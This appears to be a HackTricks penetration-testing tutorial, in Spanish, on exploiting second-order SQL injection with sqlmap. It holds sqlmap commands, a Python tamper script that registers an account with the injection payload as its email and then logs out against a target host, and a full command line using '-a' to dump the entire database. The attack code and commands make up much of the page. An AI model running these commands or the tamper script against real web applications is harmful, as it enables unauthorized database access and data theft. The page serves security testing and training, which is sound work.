Second Order Injection - SQLMap

Support HackTricks

SQLMap puede explotar SQLis de segundo orden. Necesitas proporcionar:

  • La solicitud donde la carga útil de sqlinjection se va a guardar

  • La solicitud donde la carga útil será ejecutada

La solicitud donde se guarda la carga útil de inyección SQL está indicada como en cualquier otra inyección en sqlmap. La solicitud donde sqlmap puede leer la salida/ejecución de la inyección se puede indicar con --second-url o con --second-req si necesitas indicar una solicitud completa desde un archivo.

Ejemplo simple de segundo orden:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

En varios casos esto no será suficiente porque necesitarás realizar otras acciones además de enviar la carga útil y acceder a una página diferente.

Cuando esto sea necesario, puedes usar un sqlmap tamper. Por ejemplo, el siguiente script registrará un nuevo usuario usando la carga útil de sqlmap como correo electrónico y cerrará sesión.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

Un tamper de SQLMap siempre se ejecuta antes de comenzar un intento de inyección con un payload y tiene que devolver un payload. En este caso, no nos importa el payload, pero nos importa enviar algunas solicitudes, por lo que el payload no se cambia.

Entonces, si por alguna razón necesitamos un flujo más complejo para explotar la inyección SQL de segundo orden como:

  • Crear una cuenta con el payload de SQLi dentro del campo "email"

  • Cerrar sesión

  • Iniciar sesión con esa cuenta (login.txt)

  • Enviar una solicitud para ejecutar la inyección SQL (second.txt)

Esta línea de sqlmap ayudará:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Apoya a HackTricks

Last updated